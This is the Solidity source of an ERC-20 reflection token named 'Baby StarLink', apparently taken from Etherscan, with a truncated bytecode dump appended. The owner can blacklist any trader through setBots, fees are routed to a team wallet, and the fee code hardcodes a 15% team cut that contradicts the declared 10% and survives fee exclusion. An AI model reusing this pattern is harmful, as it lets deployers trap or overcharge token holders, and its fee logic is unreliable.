/** *Submitted for verification at Etherscan.io on 2021-07-06 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BabyStarLink is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = " Baby StarLink "; string private constant _symbol = " BabyStarL "; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1) { _teamAddress = addr1; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 15); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612dea565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128f1565b61045e565b6040516101789190612dcf565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f8c565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061289e565b61048d565b6040516101e09190612dcf565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612804565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613001565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061297a565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612804565b610783565b6040516102b19190612f8c565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d01565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612dea565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128f1565b61098d565b60405161035b9190612dcf565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612931565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129d4565b6110ab565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061285e565b6111f4565b6040516104189190612f8c565b60405180910390f35b60606040518060400160405280600f81526020017f204261627920537461724c696e6b200000000000000000000000000000000000815250905090565b600061047261046b61127b565b8484611283565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144e565b61055b846104a661127b565b6105568560405180606001604052806028815260200161370860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0d9092919063ffffffff16565b611283565b600190509392505050565b61056e61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612ecc565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612ecc565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127b565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c71565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cdd565b9050919050565b6107dc61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612ecc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f2042616279537461724c20000000000000000000000000000000000000000000815250905090565b60006109a161099a61127b565b848461144e565b6001905092915050565b6109b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612ecc565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a64613349565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac9906132a2565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127b565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611d4b565b50565b610b5761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612ecc565b60405180910390fd5b600e60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612f4c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611283565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d429190612831565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc9190612831565b6040518363ffffffff1660e01b8152600401610df9929190612d1c565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b9190612831565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612d6e565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612a01565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611055929190612d45565b602060405180830381600087803b15801561106f57600080fd5b505af1158015611083573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a791906129a7565b5050565b6110b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790612ecc565b60405180910390fd5b60008111611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612e8c565b60405180910390fd5b6111b260646111a483683635c9adc5dea00000611fd390919063ffffffff16565b61204e90919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516111e99190612f8c565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612f2c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612e4c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114419190612f8c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612f0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612e0c565b60405180910390fd5b60008111611571576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156890612eec565b60405180910390fd5b611579610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e757506115b7610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4a57600e60179054906101000a900460ff161561181a573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171d5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181957600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176361127b565b73ffffffffffffffffffffffffffffffffffffffff1614806117d95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c161127b565b73ffffffffffffffffffffffffffffffffffffffff16145b611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f90612f6c565b60405180910390fd5b5b5b600f5481111561182957600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118cd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d657600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119815750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ef5750600e60179054906101000a900460ff165b15611a905742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3f57600080fd5b603c42611a4c91906130c2565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9b30610783565b9050600e60159054906101000a900460ff16158015611b085750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b205750600e60169054906101000a900460ff165b15611b4857611b2e81611d4b565b60004790506000811115611b4657611b4547611c71565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfb57600090505b611c0784848484612098565b50505050565b6000838311158290611c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4c9190612dea565b60405180910390fd5b5060008385611c6491906131a3565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cd9573d6000803e3d6000fd5b5050565b6000600654821115611d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1b90612e2c565b60405180910390fd5b6000611d2e6120c5565b9050611d43818461204e90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d8357611d82613378565b5b604051908082528060200260200182016040528015611db15781602001602082028036833780820191505090505b5090503081600081518110611dc957611dc8613349565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6b57600080fd5b505afa158015611e7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea39190612831565b81600181518110611eb757611eb6613349565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f1e30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611283565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f82959493929190612fa7565b600060405180830381600087803b158015611f9c57600080fd5b505af1158015611fb0573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b600080831415611fe65760009050612048565b60008284611ff49190613149565b90508284826120039190613118565b14612043576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203a90612eac565b60405180910390fd5b809150505b92915050565b600061209083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120f0565b905092915050565b806120a6576120a5612153565b5b6120b1848484612184565b806120bf576120be61234f565b5b50505050565b60008060006120d2612361565b915091506120e9818361204e90919063ffffffff16565b9250505090565b60008083118290612137576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212e9190612dea565b60405180910390fd5b50600083856121469190613118565b9050809150509392505050565b600060085414801561216757506000600954145b1561217157612182565b600060088190555060006009819055505b565b600080600080600080612196876123c3565b9550955095509550955095506121f486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122d5816124d2565b6122df848361258f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161233c9190612f8c565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea000009050612397683635c9adc5dea0000060065461204e90919063ffffffff16565b8210156123b657600654683635c9adc5dea000009350935050506123bf565b81819350935050505b9091565b60008060008060008060008060006123df8a600854600f6125c9565b92509250925060006123ef6120c5565b905060008060006124028e87878761265f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061246c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0d565b905092915050565b600080828461248391906130c2565b9050838110156124c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124bf90612e6c565b60405180910390fd5b8091505092915050565b60006124dc6120c5565b905060006124f38284611fd390919063ffffffff16565b905061254781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125a48260065461242a90919063ffffffff16565b6006819055506125bf8160075461247490919063ffffffff16565b6007819055505050565b6000806000806125f560646125e7888a611fd390919063ffffffff16565b61204e90919063ffffffff16565b9050600061261f6064612611888b611fd390919063ffffffff16565b61204e90919063ffffffff16565b905060006126488261263a858c61242a90919063ffffffff16565b61242a90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126788589611fd390919063ffffffff16565b9050600061268f8689611fd390919063ffffffff16565b905060006126a68789611fd390919063ffffffff16565b905060006126cf826126c1858761242a90919063ffffffff16565b61242a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126fb6126f684613041565b61301c565b9050808382526020820190508285602086028201111561271e5761271d6133ac565b5b60005b8581101561274e57816127348882612758565b845260208401935060208301925050600181019050612721565b5050509392505050565b600081359050612767816136c2565b92915050565b60008151905061277c816136c2565b92915050565b600082601f830112612797576127966133a7565b5b81356127a78482602086016126e8565b91505092915050565b6000813590506127bf816136d9565b92915050565b6000815190506127d4816136d9565b92915050565b6000813590506127e9816136f0565b92915050565b6000815190506127fe816136f0565b92915050565b60006020828403121561281a576128196133b6565b5b600061282884828501612758565b91505092915050565b600060208284031215612847576128466133b6565b5b60006128558482850161276d565b91505092915050565b60008060408385031215612875576128746133b6565b5b600061288385828601612758565b925050602061289485828601612758565b9150509250929050565b6000806000606084860312156128b7576128b66133b6565b5b60006128c586828701612758565b93505060206128d686828701612758565b92505060406128e7868287016127da565b9150509250925092565b60008060408385031215612908576129076133b6565b5b600061291685828601612758565b9250506020612927858286016127da565b9150509250929050565b600060208284031215612947576129466133b6565b5b600082013567ffffffffffffffff811115612965576129646133b1565b5b61297184828501612782565b91505092915050565b6000602082840312156129905761298f6133b6565b5b600061299e848285016127b0565b91505092915050565b6000602082840312156129bd576129bc6133b6565b5b60006129cb848285016127c5565b91505092915050565b6000602082840312156129ea576129e96133b6565b5b60006129f8848285016127da565b91505092915050565b600080600060608486031215612a1a57612a196133b6565b5b6000612a28868287016127ef565b9350506020612a39868287016127ef565b9250506040612a4a868287016127ef565b9150509250925092565b6000612a608383612a6c565b60208301905092915050565b612a75816131d7565b82525050565b612a84816131d7565b82525050565b6000612a958261307d565b612a9f81856130a0565b9350612aaa8361306d565b8060005b83811015612adb57815161